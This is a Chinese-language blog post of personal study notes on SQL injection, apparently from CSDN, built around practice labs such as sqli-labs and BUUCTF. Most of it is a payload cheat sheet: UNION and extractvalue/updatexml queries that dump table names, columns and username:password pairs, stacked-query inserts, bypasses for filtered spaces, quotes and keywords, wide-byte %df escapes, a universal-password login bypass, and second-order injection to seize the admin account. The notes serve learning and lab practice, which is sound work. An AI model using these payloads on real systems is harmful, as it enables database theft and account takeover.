SQL注入笔记

SQL注入笔记

本篇博客主要的sql注入语句参考于大神的文章https://blog.csdn.net/chest_/article/details/100142391

我只是对学习的东西进行简单的记录,并不会做过多的解释

如果是要入门的话请参考大神的另外一篇文章,写的很详细易懂。https://blog.csdn.net/chest_/article/details/102537988

一 类型的判断及闭合方式

1 类型的判断

1.1 数字型

输入id=1’报错信息

在这里插入图片描述

再次判断

?id=1 and 1=1 有回显 ?id=1 and 1=2 无回显

1.2 字符型

输入id=1’报错信息在这里插入图片描述根据这条信息可以确定是字符型,但是参数并不永远都是单引号包括

也可能是以下形式 "1" ('1') ("1")

我们可以输入id=1\观察报错信息参数周围的符号,来确定参数被什么符号包括

2 闭合方式

知道了什么类型就可以确定使用什么类型的方式

2.1 注释符

可以使用注释符: #,–空格,–+来注释掉后面的内容以达到闭合语句的问题

2.2 使用所确定的符号

确定字符是单引号: or ‘1’=‘1

若是其他符号可以换成你需要的,形式也可以是其他形式,以达到闭合后面符号的目的。

注意:闭合方式的使用要灵活,不能只知道注释,原因见后面的update,insert,delect注入

二 sql注入方式

1 联合查询

sql语句语法: SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2

原理:在前面的查询语句为错误时,后面的查询语句就会被查询

#一个简单有回显的sql注入流程
#判断类型
#确定字段数(列数)
?id=1 order by 4 --+
#联合查询确定显示位
?id=-1' union select 1,2,3 --+    #注意-1
#构造查询语句
#查版本和库名
?id=-1' union select 1,version(),database() --+
#查表名
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
#查列名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
#查字段
?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

**注意:**在注释符被过滤的时候,ordey by查询语句,在用对应符号闭合会出现问题,可以使用联合查询的特性:UNION 内部的 SELECT 语句必须拥有相同数量的列,来确定字段数。?id=-1' union select 1,2,3,4 --+多出的4超过了前面查询语句的列数就会报错:The used SELECT statements have a different number of columns

2 报错注入

报错注入有很多种方式这里只说明两种

2.1 extractvalue()函数
2.1.1 函数原型及查询原理:
  • 该函数对xml文档进行查询。
  • extractvalue(xml_frag,xpath_expr) 第一个参数式是查询内容,第二个参数是查询路径。
  • 原理:当路径写入格式错误就会报错,显示出来,同时还会写入我们的非法查询语句并将查询的结果返回出来,所以在第二个参数位置构造sql语句进行注入。
2.1.2 查询语句:
#查表名
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+
#查列名
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))) --+
#爆字段
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))))--+
#查询超过32位
?id=1' and (extractvalue(1,concat(0x7e,substring((select group_concat(username,0x3a,password) from users),5)))) --+ 

注意:

  • extractvalue只能查询32个字符。
  • 如果需要查询长度超过32使用substring函数
2.2 updatexml()函数
  • 函数原型:updatexml(xml_document,xpath_string,new_value)

  • 查询原理: 于extracvalue一样,第二个参数是路径在此构造语句即可,第一个参数可以用1代替,第三个用0x7e

3 叠堆注入

原理:在SQL中,分号是用来表示一条sql语句的结束。试想一下我们在 分号 结束一个sql语句后继续构造下一条语句,可以被执行

局限性:可能受到API或者数据库引擎不支持的限制,或权限不足

例子:?id=1’;insert into users(id,username,password) values (‘38’,’chen’,’1234’)–-+ (sql-libs Less38)

4 update,insert,delect注入

--三者的sql语句
INSERT INTO table_name(column_name,...) VALUES(value1,value2,...)
UPDATE 表名 SET 列名 = 新值 WHERE 列名称 = 某值
DELETE FROM 表名 WHERE 列名 =

输入单引号时的报错

update

在这里插入图片描述

insert

在这里插入图片描述
三者同时有多个参数时,直接使用注释会破坏语句结构,应该使用or '1'='1来闭合语句,在注入的时候使用报错注入

5 盲注

一直在用sqlmap跑,以后会更新

三 绕过字符过滤

1 注释符被过滤:

使用 or ‘1’='1

注意

  • 该闭合会引起order by查询字段无法使用,查字段时,直接用union select查然后根据报错来确定(上面有详细说明)

  • ?id=’ union select 1,group_concat(username,0x7e,password) from users where 1 or ‘1’ = '1

    查字段内容时后面跟个where否则会报错

2 空格被过滤

  • /**/,%a0(url空格),%0d%0a(url回车)代替,或者双空格。

  • 使用()来绕过

    原理:在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

    ?id=1'and(extractvalue(1,concat(0x7e,version())))or'1'='1
    ?id=1'and(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))or'1'='1
    ?id=1'and(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='user')))))or'1'='1
    ?id=1'and(extractvalue(1,concat(0x7e,(select(group_concat(username,0x3a,password))from(users)))))or'1'='1
    

3 =被过滤

like代替

4 引号被过滤及宽字节注入

4.1引号被过滤

在查列名时指定字符串表名出现问题。

把表名转16进制,就不需要使用引号了,注意前面要加上0x

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273

4.2宽字节注入

单引号被转义字符(\)转义

在单引号前加%df吃掉转义字符,在要用到字符串表名时使用16进制

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 --+

宽字节的php函数:replace(),addslaches(),mysql_real_escape_string()

5 关键字被过滤

  • and,or可以用字符&&,||代替,也可以双写去构造
  • 使用/**/,<>分割关键字 sel<>ect sel/**/ect
  • 双写构造 ,可以在构造的时候适当加入大小写Ununionion
  • 有时候可以编码绕过:url编码,16进制编码,ASCII编码

四 小技巧

1 万能密码

万能密码绕过登录: ’ or 1=1 #

例题:buuctf的[极客大挑战2019]lovesql

2 二次注入

原理:构造恶意数据存储在数据库,在恶意数据被调出时进行sql注入。

在存储数据的输入处对特殊字符进行了转义处理,但在插入数据时用又还原储存在数据库中,当调用恶意数据时,就构成了二次注入

所以二次注入分为两步:先进行插入数据,在调出时进行注入。

例子:sql-libs less-24

源代码:

在这里插入图片描述

先进行注册,在注册的时候将用户名注册为 admin'-- - 当我们在修改密码的时候他会注释掉后面的内容,并且用户名也将变成admin

此时我们修改密码,修改的就是admin账户的密码,之后就可以使用admin的账户来进行登录

先注册密码为1234
在这里插入图片描述
在修改密码为123456
在这里插入图片描述
成功登录admin账户
在这里插入图片描述
待更新

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值